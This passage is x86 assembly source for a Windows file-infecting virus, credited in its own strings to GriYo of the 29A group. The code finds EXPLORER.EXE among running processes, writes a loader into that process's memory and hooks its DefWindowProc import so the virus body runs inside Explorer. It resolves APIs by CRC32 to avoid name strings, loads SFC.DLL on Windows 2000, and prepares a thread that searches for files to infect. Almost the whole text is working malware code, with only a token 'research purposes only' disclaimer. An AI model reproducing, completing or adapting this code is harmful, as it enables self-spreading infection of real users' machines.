                ;The functions provided by the tool help library make it
                ;easier for you to obtain information about currently
                ;executing applications. These functions are designed to
                ;streamline the creation of Win32-hosted tools, specifically
                ;debuggers
                ;============================================================

		mov ebx,dword ptr [ebp+hKERNEL32]

                mov ecx,NumTOOLHELPApis
		lea esi,dword ptr [ebp+CRC32TOOLHELPApis]
		lea edi,dword ptr [ebp+epTOOLHELPApis]
		call get_APIs
		jecxz DoneTOOLHELP

ExitMemWin9x:   jmp FreeUSER32

                ;============================================================
		;Take a snapshot of the processeses currently loaded in the
                ;system
                ;
                ;The snapshot taken by CreateToolHelpSnapShot function is 
                ;examined by the other tool help functions to provide their 
                ;results
                ;
                ;Access to the snapshot is read only. The snapshot handle 
                ;acts like an object handle and is subject to the same rules
                ;regarding which processes and threads it is valid in
                ;============================================================

TH32CS_SNAPHEAPLIST       equ 00000001h
TH32CS_SNAPPROCESS        equ 00000002h
TH32CS_SNAPTHREAD         equ 00000004h
TH32CS_SNAPMODULE         equ 00000008h
TH32CS_INHERIT            equ 80000000h

TH32CS_SNAPALL            equ TH32CS_SNAPHEAPLIST or    \
                              TH32CS_SNAPPROCESS or     \
                              TH32CS_SNAPTHREAD or      \
                              TH32CS_SNAPMODULE

DoneTOOLHELP:   push ecx                        ;th32ProcessID
                push TH32CS_SNAPPROCESS         ;dwFlags

                call dword ptr [ebp+a_CreateToolhelp32Snapshot]
                cmp eax,0FFFFFFFFh
                je ExitMemWin9x

                mov dword ptr [ebp+hSnapshot],eax

                ;============================================================
		;Retrieve information about the first process encountered 
                ;in the system snapshot
                ;============================================================

                lea edi,dword ptr [ebp+ProcessEntry]
                push edi
                mov dword ptr [edi],SIZEOFPROCESSENTRY
                push eax
                call dword ptr [ebp+a_Process32First]
                or eax,eax
                jz CloseSnapshot

CheckProcEntry: lea esi,dword ptr [ebp+ProcEszExeFile]
                lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename

		mov esi,edx
		call get_str_crc32
		cmp edx,dword ptr [ebp+CRCszEXPLORER]	;Is EXPLORER.EXE ?
		je EFoundTryMod

                ;============================================================
		;Go to next process
                ;============================================================

                lea eax,dword ptr [ebp+ProcessEntry]
                push eax                                ;lppe
                push dword ptr [ebp+hSnapshot]          ;hSnapshot
                call dword ptr [ebp+a_Process32Next]
                or eax,eax
                jnz CheckProcEntry

CloseSnapshot:  push dword ptr [ebp+hSnapshot]
                call dword ptr [ebp+a_CloseHandle]

                jmp ExitMemWin9x
                
                ;============================================================
                ;Close snapshot and create a new one, but this time we are
                ;going to list modules loaded by EXPLORER.EXE
                ;============================================================

EFoundTryMod:   push dword ptr [ebp+hSnapshot]
                call dword ptr [ebp+a_CloseHandle]

                push dword ptr [ebp+ProcEth32ProcessID] ;th32ProcessID
                push TH32CS_SNAPMODULE                  ;dwFlags

                call dword ptr [ebp+a_CreateToolhelp32Snapshot]
                cmp eax,0FFFFFFFFh
                je ExitMemWin9x

                mov dword ptr [ebp+hSnapshot],eax

                ;============================================================
		;Perfect !!!! Lets retrieve 1st module using Module32First
                ;============================================================

                lea edi,dword ptr [ebp+ModuleEntry]
                push edi                                ;lpme
                mov dword ptr [edi],SIZEOFMODULEENTRY
                push eax                                ;hSnapshot
                call dword ptr [ebp+a_Module32First]
                or eax,eax
                jz CloseSnapshot

                ;============================================================
                ;Check if this is the module we are interested in
                ;============================================================

CheckEMod:      mov eax,dword ptr [ebp+ProcEth32ModuleID]
                cmp eax,dword ptr [ebp+ModEth32ModuleID]
                je GetModDone

                ;============================================================
                ;Go to next module
                ;============================================================
                
                push edi                                ;lpme
                push dword ptr [ebp+hSnapshot]          ;hSnapshot
                call dword ptr [ebp+a_Module32Next]
                or eax,eax
                jnz CheckEMod

                jmp CloseSnapshot       ;Abort if module not found

                ;============================================================
                ;Ohj0j0... Fine! Here we are with EXPLORER.EXE module handle
                ;============================================================

GetModDone:     mov edx,dword ptr [ebp+ModEhModule]
                mov dword ptr [ebp+hModule],edx

                ;============================================================
		;Open process
                ;============================================================

                mov eax,dword ptr [ebp+ProcEth32ProcessID]
                call OpenProcess
		or eax,eax
		jz CloseSnapshot

                ;============================================================
		;Duh! EXPLORER.EXE process is now 0wN3d
                ;============================================================

		call FuckExplorer

                ;============================================================
		;Close process
                ;============================================================

                push dword ptr [ebp+hProcess]
		call dword ptr [ebp+a_CloseHandle]
                jmp CloseSnapshot

;============================================================================
;Residency routines for Windows NT & Windows 2000
;============================================================================

                ;============================================================
		;Hands on USER32 apis for Windows NT (Use wide versions)
                ;============================================================

MemInfectWinNt:	mov eax,dword ptr [ebp+CRCszUSER32]
		mov ecx,NumUSER32Apis
		lea esi,dword ptr [ebp+CRC32USER32Apiswnt]
		lea edi,dword ptr [ebp+epUSER32Apis]
		call VirLoadLib
		mov dword ptr [ebp+hUSER32],eax
		or eax,eax
		jz GoBack2Host

                ;============================================================
		;We need PSAPI.DLL to do the trick
                ;============================================================

		mov eax,dword ptr [ebp+CRCszPSAPI]
		mov ecx,NumPSAPIApis
		lea esi,dword ptr [ebp+CRC32PSAPIApis]
		lea edi,dword ptr [ebp+epPSAPIApis]
		call VirLoadLib
                mov dword ptr [ebp+hPSAPI],eax
		or eax,eax
		jz FreeUSER32

                ;============================================================
		;Get a list of loaded processes (Max. 32 processes)
                ;============================================================

DonePSAPI:	lea edi,dword ptr [ebp+EP_Bytes]
		push edi				;cbNeeded
		push 00000080h				;cb
		lea esi,dword ptr [ebp+ProcessIdList]
		push esi
		call dword ptr [ebp+a_EnumProcesses]
		or eax,eax
		jz ExitMemNt

                ;============================================================
		;To determine how many processes were enumerated by the call
		;to EnumProcesses, divide the resulting value in the cbNeeded
		;parameter by sizeof(DWORD)
                ;============================================================

		mov ecx,dword ptr [edi]
		shr ecx,02h		;Divide ECX by 4... Nice, isnt it?
		jecxz ExitMemNt

                ;============================================================
		;Now we have a list of process identifiers... Follow it
                ;============================================================

ProcessLookUp:	push ecx
		cld
		lodsd
		push esi

                ;============================================================
		;Open process
                ;============================================================

                call OpenProcess
		or eax,eax
		jz TryNextProcess

                ;============================================================
		;Enumerate process modules... The 1st obtained module
		;is the executable itself
                ;============================================================

		lea edx,dword ptr [ebp+EP_Bytes]	;lpcbNeeded
		push edx
		push 00000080h				;cb
		lea esi,dword ptr [ebp+ModuleList]
		push esi				;lphModule
		push eax				;hProcess

		call dword ptr [ebp+a_EnumProcessModules]
		or eax,eax
		jz NCProcess

		cld
		lodsd ;The first module is the .EXE itself

		mov dword ptr [ebp+hModule],eax

                ;============================================================
		;Get module name using GetModuleBaseNameA API
                ;============================================================

		push MAX_PATH				;nSize 
		lea esi,dword ptr [ebp+BufStrFilename]
		push esi				;lpBaseName 
		push eax				;hModule
		push dword ptr [ebp+hProcess]		;hProcess

		call dword ptr [ebp+a_GetModuleBaseNameA]
		or eax,eax
		jz NCProcess

                ;============================================================
		;Module name is EXPLORER.EXE (use CRC32 comparison)
                ;============================================================

		mov edi,esi
		call parse_filename
		mov esi,edx
		call get_str_crc32
		cmp edx,dword ptr [ebp+CRCszEXPLORER]	;Is EXPLORER.EXE ?
		jne NCProcess

                ;============================================================
		;If EXPLORER.EXE found cleanup and go to the memory
		;infection procedure
                ;============================================================

		pop eax
		pop eax
		call FuckExplorer

                ;============================================================
		;Close process
                ;============================================================

		push dword ptr [ebp+hProcess]
		call dword ptr [ebp+a_CloseHandle]

		jmp ExitMemNt

                ;============================================================
		;Try next process
                ;============================================================

NCProcess:	push dword ptr [ebp+hProcess]
		call dword ptr [ebp+a_CloseHandle]

TryNextProcess:	pop esi
		pop ecx
		loop ProcessLookUp

                ;============================================================
		;Residency proc failed!
                ;============================================================

ExitMemNt:	push dword ptr [ebp+hPSAPI]
		call dword ptr [ebp+a_FreeLibrary]
		jmp FreeUSER32

;============================================================================
;Open process
;
;On entry:
;               eax -> Process id
;On exit:
;               eax -> Handle to process or NULL if error
;============================================================================

PROCESS_TERMINATE         equ 00000001h
PROCESS_CREATE_THREAD     equ 00000002h
PROCESS_SET_SESSIONID     equ 00000004h
PROCESS_VM_OPERATION      equ 00000008h
PROCESS_VM_READ           equ 00000010h
PROCESS_VM_WRITE          equ 00000020h
PROCESS_DUP_HANDLE        equ 00000040h
PROCESS_CREATE_PROCESS    equ 00000080h
PROCESS_SET_QUOTA         equ 00000100h
PROCESS_SET_INFORMATION   equ 00000200h
PROCESS_QUERY_INFORMATION equ 00000400h

OpenProcess:	push eax
		push 00000000h
		push 	PROCESS_QUERY_INFORMATION or	\
			PROCESS_VM_READ or		\
			PROCESS_VM_WRITE or		\
			PROCESS_VM_OPERATION

		call dword ptr [ebp+a_OpenProcess]

		mov dword ptr [ebp+hProcess],eax
                ret

;============================================================================
;Infect EXPLORER.EXE in memory
;============================================================================

                ;============================================================
		;Now search for the section header list
                ;============================================================

FuckExplorer:	mov ebx,dword ptr [ebp+hModule]

		mov ecx,00000004h
		lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
		mov eax,ebx
		add eax,MZ_lfanew
		call ReadProcessMem
		or eax,eax
		jz FE_Exit
	
		lodsd		;There is a CLD at the end of ReadProcessMem
		or eax,eax	;Now esi -> Explorer_FH_SizeOfOptionalHeader
		jz FE_Exit

		; eax -> MZ_lfanew

		add eax,ebx
		mov edi,eax
		add eax,00000004h + FH_SizeOfOptionalHeader
		dec ecx
		dec ecx
		call ReadProcessMem
		or eax,eax
		jz FE_Exit

		lodsw		;Just to do 
				;esi -> Explorer_FH_NumberOfSections
		mov eax,edi		
		add eax,00000004h + FH_NumberOfSections
		call ReadProcessMem
		or eax,eax
		jz FE_Exit

		lodsw		;esi -> Explorer_SectionHeader
		movzx ecx,ax	;ecx -> Number of sections

		movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
		add edi,eax
		add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER

                ;============================================================
		;Search for a suitable section
                ;============================================================
				
ExplorerHole:	push ecx

		mov eax,edi
		mov ecx,IMAGE_SIZEOF_SECTION_HEADER
		call ReadProcessMem
		or eax,eax
		jz E_NextSection

                ;============================================================
		;Is this a valid section?
                ;============================================================

		cmp dword ptr [esi+SH_Characteristics],			\
				   	IMAGE_SCN_MEM_READ or 		\
					IMAGE_SCN_MEM_WRITE or		\
					IMAGE_SCN_CNT_INITIALIZED_DATA
		jne E_NextSection

		mov eax,dword ptr [esi+SH_SizeOfRawData]
		sub eax,dword ptr [esi+SH_VirtualSize]
		js E_NextSection

		cmp eax,SIZEOF_EVL
		jae Ok_E_Section

                ;============================================================
		;Try next section
                ;============================================================

E_NextSection:	add edi,ecx
		pop ecx
		loop ExplorerHole

                ;============================================================
		;No suitable section found
                ;============================================================

		jmp FE_Exit

                ;============================================================
		;Yes, this is a valid section... Write virus loader
                ;============================================================

Ok_E_Section:	pop ecx         ;Cleanup stack

		mov eax,dword ptr [ebp+a_DefWindowProc]
		mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax

		mov eax,dword ptr [ebp+a_OpenFileMappingA]
		mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
		mov eax,dword ptr [ebp+a_MapViewOfFile]
		mov dword ptr [ebp+EVL_a_MapViewOfFile],eax

		mov eax,ebx
		add eax,dword ptr [esi+SH_VirtualAddress]
		add eax,dword ptr [esi+SH_VirtualSize]

		mov dword ptr [ebp+Explorer_Patch],eax

		mov ecx,SIZEOF_EVL
		lea esi,dword ptr [ebp+EVL_code]
		call WriteProcessMem
		or eax,eax
		jz FE_Exit

                ;============================================================
		;Go to EXPLORER.EXE data directory
                ;============================================================
		
		mov eax,ebx
		add eax,dword ptr [ebp+Explorer_MZ_lfanew]
		add eax,00000004h + 					\
			IMAGE_SIZEOF_FILE_HEADER +			\
			OH_DataDirectory.DE_Import.DD_VirtualAddress

		mov ecx,00000004h
		lea esi,dword ptr [ebp+Explorer_DE_Import]
		call ReadProcessMem
		or eax,eax
		jz FE_Exit
	
                ;============================================================
		;Search for USER32 import module descriptor
                ;============================================================

		lodsd
		add eax,ebx
		mov edi,eax
		
E_Search_K32:	mov eax,edi
		mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
		lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
		call ReadProcessMem
		or eax,eax
		jz FE_Exit

                ;============================================================
		;Last import module descriptor!?
                ;============================================================

		cmp dword ptr [esi],00000000h
		je FE_Exit

                ;============================================================
		;Check import module descriptor ID_Name
                ;============================================================
		
		mov eax,ebx
		add eax,dword ptr [esi+ID_Name]
		mov ecx,00000010h
		lea esi,dword ptr [ebp+Explorer_ID_Name]
		call ReadProcessMem
		or eax,eax
		jz FE_Exit

		push edi

		lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename
		mov esi,edx
		call get_str_crc32

		pop edi

		cmp edx,dword ptr [ebp+CRCszUSER32]	;Is USER32.DLL ?
		je E_Found_K32

                ;============================================================
		;Next import module descriptor
                ;============================================================

		add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
		jmp E_Search_K32

                ;============================================================
		;USER32.DLL import module descriptor found
                ;============================================================

E_Found_K32:	mov edi,dword ptr [ebp+					\
				   Explorer_ImportDescriptor+		\
				   ID_FirstThunk]
		add edi,ebx
		mov ecx,00000004h
		lea esi,dword ptr [ebp+Explorer_Hook]
		
E_NextThunk:	mov eax,edi
		call ReadProcessMem
		or eax,eax
		jz FE_Exit

		mov eax,dword ptr [esi]
		or eax,eax
		jz FE_Exit

		cmp eax,dword ptr [ebp+a_DefWindowProc]
		je E_Poison

		add edi,ecx
		jmp E_NextThunk

                ;============================================================
		;Gotcha!
                ;============================================================

E_Poison:	mov eax,edi
		mov dword ptr [ebp+Explorer_Init_Hook],eax
		lea esi,dword ptr [ebp+Explorer_Patch]

		call WriteProcessMem	; ECX already loaded
		or eax,eax
		jz FE_Exit

                ;============================================================
		;Done!!!! ieieie!!!!
                ;============================================================

FE_Exit:	ret

;============================================================================
;Code injected into EXPLORER.EXE
;
;The purpose of this code is to get access to virus memory from EXPLORER.EXE
;============================================================================

EVL_code	equ $

                ;============================================================
		;Let some space for the return address... then save all regs
                ;============================================================

		push eax
		pushad

                ;============================================================
		;This is the original address of the API... Lets make the
		;return address point to it
                ;============================================================

			db 0B8h		; EAX -> Original API address
EVL_a_OrginalApiAddr	dd 00000000h

		mov dword ptr [esp+cPushad],eax

                ;============================================================
		;Attempt to avoid reentrance problems
                ;============================================================

		call MultiThreadSafe

		db 00h ;Only changed over hook code, not over main virus body

MultiThreadSafe:pop esi
		mov edi,esi
		cld
		lodsb
		or al,al
		jnz MayBeOnNextCall
		dec al
		stosb

                ;============================================================
		;Try to open the virus file-mapping
		;
		;There is some kinda race condition here... If the infected
		;program terminates before this point we wont be able to
		;find the rest of the virus in memory...
		;
		;In that case the hook will stay present, and this code may 
		;be able to find the virus memory-mapping on next attemps
                ;============================================================

		call GetszObjName	;lpName 

szObjectName	db 10h dup (00h)

GetszObjName:	push 00000000h		;bInheritHandle 
		mov edi,FILE_MAP_WRITE
		push edi		;dwDesiredAccess

			db 0B8h		; EAX -> OpenFileMappingA
EVL_a_OpenFileMapping	dd 00000000h

		call eax
		or eax,eax
		jz MayBeOnNextCall

                ;============================================================
		;The file-mapping is here... Get an image of it
                ;============================================================

		xor edx,edx
		push edx
		push edx
		push edx
		push edi
		push eax

			db 0B8h		; EAX -> OpenFileMappingA
EVL_a_MapViewOfFile	dd 00000000h

		call eax

		or eax,eax
		jz MayBeOnNextCall

                ;============================================================
		;Great! We have access to virus allocated memory, but
		;remember we are now inside EXPLORER.EXE !!!!
		;
		;Jump to virus complete image in order to complete
		;initialization inside EXPLORER.EXE
                ;============================================================

		add eax,offset ExplorerInit - offset viro_sys
		call eax

                ;============================================================
		;Restore regs and jump to original API code
                ;============================================================

MayBeOnNextCall:popad
		ret

SIZEOF_EVL	equ $-EVL_code

;============================================================================
;Read process memory routine
;
;On entry:
;		eax -> Pointer to the base address from which to read
;		ecx -> Specifies the requested number of bytes to read
;		esi -> Pointer to a buffer that receives the contents from 
;		       the address address
;
;		[ebp+hProcess] contains the target process handle
;
;On exit:
;		eax -> NULL if error
;
;		ebx, ecx, esi, edi, ebp preserved
;============================================================================

ReadProcessMem:	push edi
		push ecx

		lea edi,dword ptr [ebp+EP_Bytes]	;lpNumberOfBytesRead
		push edi
		push ecx				;nSize
		push esi				;lpBuffer
		push eax				;lpBaseAddress
		push dword ptr [ebp+hProcess]		;hProcess

		call dword ptr [ebp+a_ReadProcessMemory]

		pop ecx

		or eax,eax
		jz ExitREM

		cmp dword ptr [edi],ecx
		je ExitREM

		xor eax,eax

ExitREM:	pop edi
		cld
		ret

;============================================================================
;Write process memory routine
;
;On entry:
;		eax -> Pointer to the base address in the specified process
;		       to which data will be written
;		ecx -> Specifies the number of bytes to write
;		esi -> Pointer to the buffer that contains data to be written
;
;		[ebp+hProcess] contains the target process handle
;
;On exit:
;		eax -> NULL if error
;
;		ebx, ecx, esi, edi, ebp preserved
;============================================================================

WriteProcessMem:push edi
		push ecx

		lea edi,dword ptr [ebp+EP_Bytes]  ;lpNumberOfBytesWritten
		push edi
		push ecx				;nSize
		push esi				;lpBuffer
		push eax				;lpBaseAddress
		push dword ptr [ebp+hProcess]		;hProcess

		call dword ptr [ebp+a_WriteProcessMemory]

		pop ecx

		or eax,eax
		jz ExitWEM

		cmp dword ptr [edi],ecx
		je ExitWEM

		xor eax,eax

ExitWEM:	pop edi
		cld
		ret

;============================================================================
;Make crc lookup table
;
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
;
;Polynomials over GF(2) are represented in binary, one bit per coefficient,
;with the lowest powers in the most significant bit.  Then adding polynomials
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
;one.  If we call the above polynomial p, and represent a byte as the
;polynomial q, also with the lowest power in the most significant bit (so the
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
;where a mod b means the remainder after dividing a by b.
;
;This calculation is done using the shift-register method of multiplying and
;taking the remainder.  The register is initialized to zero, and for each
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
;out is a one).  We start with the highest power (least significant bit) of
;q and repeat for all eight bits of q.
;
;The table is simply the CRC of all possible eight bit values.  This is all
;the information needed to generate CRC's on data a byte at a time for all
;combinations of CRC register values and incoming bytes.
;
;Original C code by Mark Adler
;Translated to asm for Win32 by GriYo
;============================================================================

make_crc_tbl:	

;============================================================================
;Make exclusive-or pattern from polynomial (0EDB88320h)
;
;The following commented code is an example of how to
;make the exclusive-or pattern from polynomial
;at runtime		
;
;		xor edx,edx
;		mov ecx,0000000Eh
;		lea ebx,dword ptr [ebp+tbl_terms]
;calc_poly:	mov eax,ecx
;		xlatb
;		sub eax,0000001Fh
;		neg eax
;		bts edx,eax
;		loop calc_poly
;
;		edx contains now the exclusive-or pattern
;
;		The polynomial is:
;
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
;
;tbl_terms		db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
;				
;============================================================================

		cld
		mov ecx,00000100h
		lea edi,dword ptr [ebp+tbl_crc32]
crc_tbl_do:	mov eax,000000FFh
		sub eax,ecx
		push ecx
		mov ecx,00000008h				
make_crc_value:	shr eax,01h
		jnc next_value
		xor eax,0EDB88320h
next_value:	loop make_crc_value				
		pop ecx
		stosd
		loop crc_tbl_do
		ret

;============================================================================
;Return a 32bit CRC of the contents of the buffer
;
;On entry:
;		esi -> Ptr to buffer
;		ecx -> Buffer size
;On exit:
;		edx -> 32bit CRC
;============================================================================

get_crc32:	cld
		push edi
		xor edx,edx
		lea edi,dword ptr [ebp+tbl_crc32]
crc_calc:	push ecx
		lodsb
		xor eax,edx
		and eax,000000FFh				
		shr edx,08h
		xor edx,dword ptr [edi+eax]
		pop ecx
		loop crc_calc
		pop edi
		ret

;============================================================================
;Get a 32bit CRC of a null terminated array
;
;On entry:
;		esi -> Ptr to string
;Exit:
;		edx -> 32bit CRC
;============================================================================

get_str_crc32:	cld
		push ecx
		push edi
		mov edi,esi
		xor eax,eax
		mov ecx,eax
crc_sz:		inc ecx
		scasb
		jnz crc_sz
		call get_crc32
		pop edi
		pop ecx
		ret

;============================================================================
;Get the entry-point of GetProcAddress
;
;On entry:
;		ebx -> KERNELL32 base address
;On exit:
;		ecx -> Address of GetProcAddress
;============================================================================

GetGetProcAddr: cld
		mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+					\
				   ebx+					\
				   NT_OptionalHeader.			\
                                   OH_DirectoryEntries.			\
                                   DE_Export.				\
                                   DD_VirtualAddress]
                add edx,ebx
		mov esi,dword ptr [edx+ED_AddressOfNames]
		add esi,ebx
		mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
		add edi,ebx
		mov ecx,dword ptr [edx+ED_NumberOfNames]				

function_loop:	lodsd
		push edx
		push esi
		lea esi,dword ptr [eax+ebx] 	;Get ptr to API name
		call get_str_crc32		;Get CRC32 of API name
		pop esi			
		cmp edx,dword ptr [ebp+CrcGetProcAddr]					
		je API_found
		inc edi
		inc edi
		pop edx
		loop function_loop
		ret

API_found:	pop edx
		movzx eax,word ptr [edi]
		sub eax,dword ptr [edx+ED_BaseOrdinal]
		inc eax
		shl eax,02h
		mov esi,dword ptr [edx+ED_AddressOfFunctions]
                add esi,eax
                add esi,ebx
                lodsd
		lea ecx,dword ptr [eax+ebx]
                ret

;============================================================================
;Get the entry-point of each needed API
;
;This routine uses the CRC32 instead of API names
;
;On entry:
;		ebx -> Base address of DLL
;		ecx -> Number of APIs in the folling buffer
;		esi -> Buffer filled with the CRC32 of each API name
;		edi -> Recives found API addresses
;On exit:
;		ecx -> Is 00000000h if everything was ok
;============================================================================

get_APIs:	cld				
get_each_API:	push ecx
		push esi
				
		;============================================================
		;Get a pointer to the EXPORT data
		;============================================================

		mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+					\
				   ebx+					\
				   NT_OptionalHeader.			\
                                   OH_DirectoryEntries.			\
                                   DE_Export.				\
                                   DD_VirtualAddress]
                add edx,ebx
		mov esi,dword ptr [edx+ED_AddressOfNames]
		add esi,ebx
		mov ecx,dword ptr [edx+ED_NumberOfNames]				

		;============================================================
		;Try to find an API name that matches given CRC32
		;============================================================

API_Loop:	lodsd
		push esi			;Ptr to AddressOfNames
		lea esi,dword ptr [eax+ebx]	
		push esi			;Save ptr to API name
		call get_str_crc32		
		mov esi,dword ptr [esp+00000008h]
		lodsd
		cmp eax,edx
		je CRC_API_found
		pop eax				;Remove API name from stack
		pop esi				;Ptr to RVA for next API name
		loop API_Loop
get_API_error:	pop esi				;Ptr to CRC's of API names
		pop ecx				;Number of API's
		ret				;Exit with error (ecx!=NULL)

		;============================================================
		;The ptr to API name is already on stack, now push the
		;module handle and call GetProcAddress
		;============================================================

CRC_API_found:	push ebx	
		call dword ptr [ebp+a_GetProcAddress]

		cld		;Dont let the API call change this
		pop edx		;Remove ptr to RVA for next name

		or eax,eax
		jz get_API_error;If GetProcAddress returned NULL exit
				
		stosd		;Save the API address into given table
		pop esi		;Ptr to CRC's of API names
		lodsd
		pop ecx				
		loop get_each_API
		ret

;============================================================================
;Find base address of KERNEL32.DLL 
;Thanks to Jacky Qwerty for the SEH routines
;============================================================================

SEH_Block_0000  macro
                add esp,-cPushad
                jnz GNtBA_L1
                endm

IGetNtBaseAddr: @SEH_SetupFrame <SEH_Block_0000>
                mov ecx,edx
                xchg ax,cx
GNtBA_L0:	dec cx
                jz GNtBA_L2
                add eax,-10000h
                pushad
                mov bx,-IMAGE_DOS_SIGNATURE
                add bx,word ptr [eax]
                mov esi,eax
                jnz GNtBA_L1
                mov ebx,-IMAGE_NT_SIGNATURE
                add eax,dword ptr [esi.MZ_lfanew]
                mov edx,esi
                add ebx,dword ptr [eax]
                jnz GNtBA_L1
                add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries.	\
                         DE_Export.DD_VirtualAddress]
                add esi,dword ptr [edx.ED_Name]
		lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename
		mov esi,edx
		call get_str_crc32
		cmp edx,dword ptr [ebp+CrcKernel32]	;Is KERNEL32.DLL ?
		je k32_f
GNtBA_L1:	popad
                jmp GNtBA_L0

k32_f:		popad
                xchg ecx,eax
                inc eax

GNtBA_L2:       @SEH_RemoveFrame
                ret

;============================================================================
;VirLoadLib
;
;To use CRC32 instead of API names sounds cool... But there are still some
;strings authors cant get rid of... When calling LoadLibrary the virus must
;specify the DLL name
;
;This routine is the solution to avoid the usage of DLL names
;
;On entry:
;		eax -> CRC32 of DLL name
;               esi -> CRC32 of API names
;               edi -> Where to put API addresses
;               ecx -> Number of APIs to find
;On exit:
;		eax -> Module handle or NULL on error
;============================================================================

VirLoadLib:	push ecx
                push esi
		push edi

		mov dword ptr [ebp+a_SDLL_CRC32],eax

		lea eax,dword ptr [ebp+DirectFindData]
		push eax				;lpFindFileData
		lea eax,dword ptr [ebp+szSYSTEMDIR]	;lpFileName
		push eax

		call dword ptr [ebp+a_FindFirstFileA]
		cmp eax,INVALID_HANDLE_VALUE
		jz EVirLoadLib

		mov dword ptr [ebp+h_Find],eax

CheckDllName:	lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
		lea edi,dword ptr [ebp+BufStrFilename]
		call parse_filename
		mov esi,edx
		call get_str_crc32

		cmp edx,dword ptr [ebp+a_SDLL_CRC32]
		je OkCheckDll

		lea eax,dword ptr [ebp+DirectFindData]
		push eax 				;lpFindFileData 
		push dword ptr [ebp+h_Find]		;hFindFile
		call dword ptr [ebp+a_FindNextFileA]
		or eax,eax
                jnz CheckDllName

EVirLoadLib:	pop edi
		pop esi
                pop ecx
				xor eax,eax
		ret

OkCheckDll:	lea esi,dword ptr [ebp+szSYSTEMDIR]
		lea edi,dword ptr [ebp+BufStrFilename]

		push edi

		call parse_filename
		lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
		mov edi,edx
		call parse_filename

		call dword ptr [ebp+a_LoadLibraryA]
                or eax,eax
                jz EVirLoadLib

                mov ebx,eax

                pop edi
		pop esi
                pop ecx

		call get_APIs
                jecxz OkVirLoadLib

                push ebx
                call dword ptr [ebp+a_FreeLibrary]
                xor eax,eax
                ret

OkVirLoadLib:   mov eax,ebx
                ret

;============================================================================
;This routine takes a string pointed by esi and copies
;it into a buffer pointed by edi
;
;The result string will be converted to upper-case
;
;On entry:
;		esi -> Pointer to source string
;		edi -> Pointer to returned string
;
;On exit:
;		al  -> Null
;		edx -> Points to character next to last \
;		edi -> Points 1byte above the null terminator
;============================================================================

parse_filename:	mov edx,edi
		cld
ScanZstring:	lodsb				
		cmp al,"a"
		jb no_upper
		cmp al,"z"
		ja no_upper
		and al,0DFh
no_upper:	stosb
		cmp al,"\"
		jne err_slash_pos
		mov edx,edi
err_slash_pos:	or al,al
		jnz ScanZstring
		ret

;============================================================================
;Copyright notice and disclaimer
;============================================================================

copyright	db '[ Dengue Hemorrhagic Fever'

		db ' BioCoded by GriYo / 29A ]'

disclaimer	db ' Disclaimer: This software has been designed'
		db ' for research purposes only. The author is'
		db ' not responsible for any problems caused due to'
		db ' improper or illegal usage of it '

;============================================================================
;Virus initialization ( inside EXPLORER.EXE )
;============================================================================

ExplorerInit:	call ExplorerDelta
ExplorerDelta:	pop ebp
		sub ebp,offset ExplorerDelta

                ;============================================================
		;Get current local time
                ;============================================================

FreeExplorerOk:	lea esi,dword ptr [ebp+local_time]
		push esi
		call dword ptr [ebp+a_GetLocalTime]

                ;============================================================
		;Initialize random number generator seed using current
		;year and current month
                ;============================================================

		cld
		lodsw
		rol eax,10h
		lodsw
		mov dword ptr [ebp+rnd32_seed],eax

                ;============================================================
		;Locate KERNEL32 code section in memory... This information
		;will be used later in the EPO routines
                ;============================================================

		mov ebx,dword ptr [ebp+hKERNEL32]
		call get_code_sh
		mov eax,dword ptr [edi+SH_VirtualAddress]
		add eax,ebx
		mov dword ptr [ebp+K32CodeStart],eax
		add eax,dword ptr [edi+SH_VirtualSize]
		mov dword ptr [ebp+K32CodeEnd],eax

                ;============================================================
		;Sleep for a moment, before start making noise
                ;============================================================

		push 00005000h
		call dword ptr [ebp+a_Sleep]

                ;============================================================
		;Load IMAGEHLP.DLL
                ;
                ;The ImageHlp functions are supported by the Microsoft 
                ;Windows NT, Windows 95, and Windows 98 operating systems...
                ;They are used mostly by programming tools, application setup
                ;utilities, and other programs that need access to the data 
                ;contained in a PE image
                ;============================================================

                mov eax,dword ptr [ebp+CRCszIMGHLP]
		mov ecx,NumIMGHLPApis
		lea esi,dword ptr [ebp+CRC32IMGHLPApis]
		lea edi,dword ptr [ebp+epIMGHLPApis]
                call VirLoadLib
                mov dword ptr [ebp+hIMGHLP],eax

                ;============================================================
		;Load SFC.DLL (Windows 2000 only)
                ;============================================================

                mov dword ptr [ebp+hSFC],00000000h
		cmp dword ptr [ebp+dwMajorVersion],00000005h
		jb Ready2Infect

                mov eax,dword ptr [ebp+CRCszSFC]
		mov ecx,NumSFCApis				
		lea esi,dword ptr [ebp+CRC32SFCApis]
		lea edi,dword ptr [ebp+epSFCApis]
                call VirLoadLib
		mov dword ptr [ebp+hSFC],eax

		;============================================================
		;Initialization inside EXPLORER.EXE complete...
		;
		;Now create a thread to search for files to infect and
		;get control back to EXPLORER.EXE
                ;============================================================

Ready2Infect:	lea eax,dword ptr [ebp+IF_ThreadID]
